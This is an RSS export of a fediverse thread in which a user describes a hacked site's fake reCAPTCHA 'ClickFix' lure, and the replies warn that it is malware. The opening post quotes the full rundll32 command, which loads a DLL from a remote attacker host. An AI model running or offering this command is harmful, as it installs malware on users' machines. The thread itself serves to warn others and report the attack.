<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[At first I thought thought I had found a candidate for &quot;most horrifying reCAPTCHA process ever devised.]]></title><description><![CDATA[<p>At first I thought thought I had found a candidate for "most horrifying reCAPTCHA process ever devised.  <img src="https://board.circlewithadot.net/assets/plugins/nodebb-plugin-emoji/emoji/android/1f62e.png?v=28325c671da" class="not-responsive emoji emoji-android emoji--open_mouth" style="height:23px;width:auto;vertical-align:middle" title="😮" alt="😮" /></p><p>(UPDATE: OK, yeah, that as I suspected... this is just straight up malware.  I spoke with the business and confirmed things with them.)</p><p>LOL, Would any of you ever trust a web site to:</p><p>1. inject a long text string into your clipboard</p><p>2. ask you to open Command Prompt</p><p>3. then expect you to blindly paste this long string into your Command Prompt and simply RUN it  <img src="https://board.circlewithadot.net/assets/plugins/nodebb-plugin-emoji/emoji/android/1f628.png?v=28325c671da" class="not-responsive emoji emoji-android emoji--fearful" style="height:23px;width:auto;vertical-align:middle" title="😨" alt="😨" /></p><p>If you're curious, this is the string it is asking users to paste and run in their command prompt...</p><p>rundll32.exe \\dynmeshex6.dax8sovel.in.net\05fe317c-0981-4de2-bc8a-930d369db441\ck-3d80df5d12cdfe6450a782fc87bf66b444.google,#1</p>]]></description><link>https://board.circlewithadot.net/topic/5640da3c-58e0-491b-b1d5-5c5b853cdede/at-first-i-thought-thought-i-had-found-a-candidate-for-most-horrifying-recaptcha-process-ever-devised.</link><generator>RSS for Node</generator><lastBuildDate>Fri, 15 May 2026 06:12:22 GMT</lastBuildDate><atom:link href="https://board.circlewithadot.net/topic/5640da3c-58e0-491b-b1d5-5c5b853cdede.rss" rel="self" type="application/rss+xml"/><pubDate>Thu, 16 Apr 2026 21:25:42 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to At first I thought thought I had found a candidate for &quot;most horrifying reCAPTCHA process ever devised. on Thu, 16 Apr 2026 21:38:23 GMT]]></title><description><![CDATA[<p><span><a href="/user/foundthefault%40tech.lgbt">@<span>foundthefault</span></a></span> I'm fortunate enough to have never encountered it before.  Wild.</p>]]></description><link>https://board.circlewithadot.net/post/https://defcon.social/users/deviantollam/statuses/116416544990555531</link><guid isPermaLink="true">https://board.circlewithadot.net/post/https://defcon.social/users/deviantollam/statuses/116416544990555531</guid><dc:creator><![CDATA[deviantollam@defcon.social]]></dc:creator><pubDate>Thu, 16 Apr 2026 21:38:23 GMT</pubDate></item><item><title><![CDATA[Reply to At first I thought thought I had found a candidate for &quot;most horrifying reCAPTCHA process ever devised. on Thu, 16 Apr 2026 21:34:32 GMT]]></title><description><![CDATA[<span><a href="/user/deviantollam%40defcon.social" rel="ugc">@<span>deviantollam</span></a></span><br /><br />Please report on <a href="https://safebrowsing.google.com/safebrowsing/report_phish/" rel="ugc">https://safebrowsing.google.com/safebrowsin...</a> as Malware &gt; Web Malware]]></description><link>https://board.circlewithadot.net/post/https://agora.echelon.pl/objects/77fad048-5a7a-4864-9179-e801bf8fd8c8</link><guid isPermaLink="true">https://board.circlewithadot.net/post/https://agora.echelon.pl/objects/77fad048-5a7a-4864-9179-e801bf8fd8c8</guid><dc:creator><![CDATA[kravietz@agora.echelon.pl]]></dc:creator><pubDate>Thu, 16 Apr 2026 21:34:32 GMT</pubDate></item><item><title><![CDATA[Reply to At first I thought thought I had found a candidate for &quot;most horrifying reCAPTCHA process ever devised. on Thu, 16 Apr 2026 21:34:23 GMT]]></title><description><![CDATA[<p><span><a href="/user/deviantollam%40defcon.social" rel="nofollow noreferrer noopener">@<span>deviantollam</span></a></span> Indeed, Clickfix</p>]]></description><link>https://board.circlewithadot.net/post/https://lostcreek.social/users/knova/statuses/01KPC3EVZF3YENDC0M8TWC871X</link><guid isPermaLink="true">https://board.circlewithadot.net/post/https://lostcreek.social/users/knova/statuses/01KPC3EVZF3YENDC0M8TWC871X</guid><dc:creator><![CDATA[knova@lostcreek.social]]></dc:creator><pubDate>Thu, 16 Apr 2026 21:34:23 GMT</pubDate></item><item><title><![CDATA[Reply to At first I thought thought I had found a candidate for &quot;most horrifying reCAPTCHA process ever devised. on Thu, 16 Apr 2026 21:33:38 GMT]]></title><description><![CDATA[<p><span><a href="/user/deviantollam%40defcon.social">@<span>deviantollam</span></a></span> Oh, HELL no!</p>]]></description><link>https://board.circlewithadot.net/post/https://defcon.social/users/TomL/statuses/116416526336502097</link><guid isPermaLink="true">https://board.circlewithadot.net/post/https://defcon.social/users/TomL/statuses/116416526336502097</guid><dc:creator><![CDATA[toml@defcon.social]]></dc:creator><pubDate>Thu, 16 Apr 2026 21:33:38 GMT</pubDate></item><item><title><![CDATA[Reply to At first I thought thought I had found a candidate for &quot;most horrifying reCAPTCHA process ever devised. on Thu, 16 Apr 2026 21:33:26 GMT]]></title><description><![CDATA[<p><span><a href="/user/deviantollam%40defcon.social">@<span>deviantollam</span></a></span> <br />“You will observe and agree”? That’s not happening.</p>]]></description><link>https://board.circlewithadot.net/post/https://masto.ai/users/sollat/statuses/116416525518283745</link><guid isPermaLink="true">https://board.circlewithadot.net/post/https://masto.ai/users/sollat/statuses/116416525518283745</guid><dc:creator><![CDATA[sollat@masto.ai]]></dc:creator><pubDate>Thu, 16 Apr 2026 21:33:26 GMT</pubDate></item><item><title><![CDATA[Reply to At first I thought thought I had found a candidate for &quot;most horrifying reCAPTCHA process ever devised. on Thu, 16 Apr 2026 21:32:58 GMT]]></title><description><![CDATA[<p><span><a href="/user/deviantollam%40defcon.social">@<span>deviantollam</span></a></span> </p><p>I wouldn't touch that with somebody else's barge-pole.</p>]]></description><link>https://board.circlewithadot.net/post/https://toot.wales/users/Walrus/statuses/116416523683747470</link><guid isPermaLink="true">https://board.circlewithadot.net/post/https://toot.wales/users/Walrus/statuses/116416523683747470</guid><dc:creator><![CDATA[walrus@toot.wales]]></dc:creator><pubDate>Thu, 16 Apr 2026 21:32:58 GMT</pubDate></item><item><title><![CDATA[Reply to At first I thought thought I had found a candidate for &quot;most horrifying reCAPTCHA process ever devised. on Thu, 16 Apr 2026 21:31:33 GMT]]></title><description><![CDATA[<p><span><a href="/user/deviantollam%40defcon.social">@<span>deviantollam</span></a></span> Nooooo, and that totally looks like something my mom would fall for and then I would have to spend hours fixing her computer. Don't do it!</p>]]></description><link>https://board.circlewithadot.net/post/https://beige.party/users/arisummerland/statuses/116416518120476166</link><guid isPermaLink="true">https://board.circlewithadot.net/post/https://beige.party/users/arisummerland/statuses/116416518120476166</guid><dc:creator><![CDATA[arisummerland@beige.party]]></dc:creator><pubDate>Thu, 16 Apr 2026 21:31:33 GMT</pubDate></item><item><title><![CDATA[Reply to At first I thought thought I had found a candidate for &quot;most horrifying reCAPTCHA process ever devised. on Thu, 16 Apr 2026 21:30:48 GMT]]></title><description><![CDATA[<p><span><a href="/user/deviantollam%40defcon.social">@<span>deviantollam</span></a></span> this is a common malware technique. They got pwned.</p>]]></description><link>https://board.circlewithadot.net/post/https://www.librepunk.club/users/Alphactory/statuses/116416515206955691</link><guid isPermaLink="true">https://board.circlewithadot.net/post/https://www.librepunk.club/users/Alphactory/statuses/116416515206955691</guid><dc:creator><![CDATA[alphactory@www.librepunk.club]]></dc:creator><pubDate>Thu, 16 Apr 2026 21:30:48 GMT</pubDate></item><item><title><![CDATA[Reply to At first I thought thought I had found a candidate for &quot;most horrifying reCAPTCHA process ever devised. on Thu, 16 Apr 2026 21:30:02 GMT]]></title><description><![CDATA[<p><span><a href="/user/deviantollam%40defcon.social">@<span>deviantollam</span></a></span> You're lucky if you haven't encountered that before. This kind of scam has been around a a few years already, often on shady "driver update" sites and the like.</p>]]></description><link>https://board.circlewithadot.net/post/https://chaosfurs.social/users/WooShell/statuses/116416512181850722</link><guid isPermaLink="true">https://board.circlewithadot.net/post/https://chaosfurs.social/users/WooShell/statuses/116416512181850722</guid><dc:creator><![CDATA[wooshell@chaosfurs.social]]></dc:creator><pubDate>Thu, 16 Apr 2026 21:30:02 GMT</pubDate></item><item><title><![CDATA[Reply to At first I thought thought I had found a candidate for &quot;most horrifying reCAPTCHA process ever devised. on Thu, 16 Apr 2026 21:29:53 GMT]]></title><description><![CDATA[<p><span><a href="/user/deviantollam%40defcon.social">@<span>deviantollam</span></a></span> There's a 200% chance you're installing a virus <img src="https://board.circlewithadot.net/assets/plugins/nodebb-plugin-emoji/emoji/android/1f606.png?v=28325c671da" class="not-responsive emoji emoji-android emoji--laughing" style="height:23px;width:auto;vertical-align:middle" title="😆" alt="😆" /> you of all people should be able to sniff that one out.</p>]]></description><link>https://board.circlewithadot.net/post/https://zirk.us/users/NanoBookReview/statuses/116416511575802977</link><guid isPermaLink="true">https://board.circlewithadot.net/post/https://zirk.us/users/NanoBookReview/statuses/116416511575802977</guid><dc:creator><![CDATA[nanobookreview@zirk.us]]></dc:creator><pubDate>Thu, 16 Apr 2026 21:29:53 GMT</pubDate></item><item><title><![CDATA[Reply to At first I thought thought I had found a candidate for &quot;most horrifying reCAPTCHA process ever devised. on Thu, 16 Apr 2026 21:29:41 GMT]]></title><description><![CDATA[<a class="plugin-mentions-user plugin-mentions-a" href="/user/deviantollam%40defcon.social" aria-label="Profile: deviantollam@defcon.social">@<bdi>deviantollam@defcon.social</bdi></a> Definitely malware. It's quite a common trick. (aka clickfix)]]></description><link>https://board.circlewithadot.net/post/https://infosec.exchange/users/nothacking/statuses/116416510810151570</link><guid isPermaLink="true">https://board.circlewithadot.net/post/https://infosec.exchange/users/nothacking/statuses/116416510810151570</guid><dc:creator><![CDATA[nothacking@infosec.exchange]]></dc:creator><pubDate>Thu, 16 Apr 2026 21:29:41 GMT</pubDate></item><item><title><![CDATA[Reply to At first I thought thought I had found a candidate for &quot;most horrifying reCAPTCHA process ever devised. on Thu, 16 Apr 2026 21:29:20 GMT]]></title><description><![CDATA[<p><span><a href="/user/deviantollam%40defcon.social">@<span>deviantollam</span></a></span> </p><p>wow... that's like telling someone to pick one of three random unlabelled liquids and chug it to get access to a food safety seminar...</p>]]></description><link>https://board.circlewithadot.net/post/https://infosec.exchange/users/paul_ipv6/statuses/116416509379067487</link><guid isPermaLink="true">https://board.circlewithadot.net/post/https://infosec.exchange/users/paul_ipv6/statuses/116416509379067487</guid><dc:creator><![CDATA[paul_ipv6@infosec.exchange]]></dc:creator><pubDate>Thu, 16 Apr 2026 21:29:20 GMT</pubDate></item><item><title><![CDATA[Reply to At first I thought thought I had found a candidate for &quot;most horrifying reCAPTCHA process ever devised. on Thu, 16 Apr 2026 21:29:13 GMT]]></title><description><![CDATA[<p><span><a href="/user/deviantollam%40defcon.social">@<span>deviantollam</span></a></span> horrifying. I assume they're using rundll32 because Windows won't let you run an untrusted exe directly from a remote server path like that?</p>]]></description><link>https://board.circlewithadot.net/post/https://social.coop/users/fraggle/statuses/116416508977665750</link><guid isPermaLink="true">https://board.circlewithadot.net/post/https://social.coop/users/fraggle/statuses/116416508977665750</guid><dc:creator><![CDATA[fraggle@social.coop]]></dc:creator><pubDate>Thu, 16 Apr 2026 21:29:13 GMT</pubDate></item><item><title><![CDATA[Reply to At first I thought thought I had found a candidate for &quot;most horrifying reCAPTCHA process ever devised. on Thu, 16 Apr 2026 21:28:26 GMT]]></title><description><![CDATA[<p><span><a href="/user/deviantollam%40defcon.social" rel="nofollow noopener">@<span>deviantollam</span></a></span> yes this is a hacked site/malware. ClickFix campaign.</p>]]></description><link>https://board.circlewithadot.net/post/https://haunted.computer/users/xfavatax/statuses/116416505900150839</link><guid isPermaLink="true">https://board.circlewithadot.net/post/https://haunted.computer/users/xfavatax/statuses/116416505900150839</guid><dc:creator><![CDATA[xfavatax@haunted.computer]]></dc:creator><pubDate>Thu, 16 Apr 2026 21:28:26 GMT</pubDate></item><item><title><![CDATA[Reply to At first I thought thought I had found a candidate for &quot;most horrifying reCAPTCHA process ever devised. on Thu, 16 Apr 2026 21:27:51 GMT]]></title><description><![CDATA[<p><span><a href="/user/deviantollam%40defcon.social">@<span>deviantollam</span></a></span> Oh yeah, that's a classic scam . don't do it! That will download and run some dll that will do god knows what on your local box and lead you into their scam.</p>]]></description><link>https://board.circlewithadot.net/post/https://defcon.social/users/varx/statuses/116416503585715494</link><guid isPermaLink="true">https://board.circlewithadot.net/post/https://defcon.social/users/varx/statuses/116416503585715494</guid><dc:creator><![CDATA[varx@defcon.social]]></dc:creator><pubDate>Thu, 16 Apr 2026 21:27:51 GMT</pubDate></item><item><title><![CDATA[Reply to At first I thought thought I had found a candidate for &quot;most horrifying reCAPTCHA process ever devised. on Thu, 16 Apr 2026 21:27:12 GMT]]></title><description><![CDATA[<p><span><a href="/user/deviantollam%40defcon.social">@<span>deviantollam</span></a></span> this is 100% a social engineering attack, no legitimate website will do this</p>]]></description><link>https://board.circlewithadot.net/post/https://kind.social/users/jerbear/statuses/116416501048719341</link><guid isPermaLink="true">https://board.circlewithadot.net/post/https://kind.social/users/jerbear/statuses/116416501048719341</guid><dc:creator><![CDATA[jerbear@kind.social]]></dc:creator><pubDate>Thu, 16 Apr 2026 21:27:12 GMT</pubDate></item><item><title><![CDATA[Reply to At first I thought thought I had found a candidate for &quot;most horrifying reCAPTCHA process ever devised. on Thu, 16 Apr 2026 21:27:07 GMT]]></title><description><![CDATA[<p><span><a href="/user/deviantollam%40defcon.social">@<span>deviantollam</span></a></span> lol what the fuck</p>]]></description><link>https://board.circlewithadot.net/post/https://sunny.garden/users/SarraceniaWilds/statuses/116416500688906765</link><guid isPermaLink="true">https://board.circlewithadot.net/post/https://sunny.garden/users/SarraceniaWilds/statuses/116416500688906765</guid><dc:creator><![CDATA[sarraceniawilds@sunny.garden]]></dc:creator><pubDate>Thu, 16 Apr 2026 21:27:07 GMT</pubDate></item><item><title><![CDATA[Reply to At first I thought thought I had found a candidate for &quot;most horrifying reCAPTCHA process ever devised. on Thu, 16 Apr 2026 21:26:44 GMT]]></title><description><![CDATA[<p><span><a href="/user/deviantollam%40defcon.social" rel="nofollow noopener">@<span>deviantollam</span></a></span> its a hacked website.  thats a fairly common malware tactic</p>]]></description><link>https://board.circlewithadot.net/post/https://wetdry.world/users/CauseOfBSOD/statuses/116416499209406399</link><guid isPermaLink="true">https://board.circlewithadot.net/post/https://wetdry.world/users/CauseOfBSOD/statuses/116416499209406399</guid><dc:creator><![CDATA[causeofbsod@wetdry.world]]></dc:creator><pubDate>Thu, 16 Apr 2026 21:26:44 GMT</pubDate></item></channel></rss>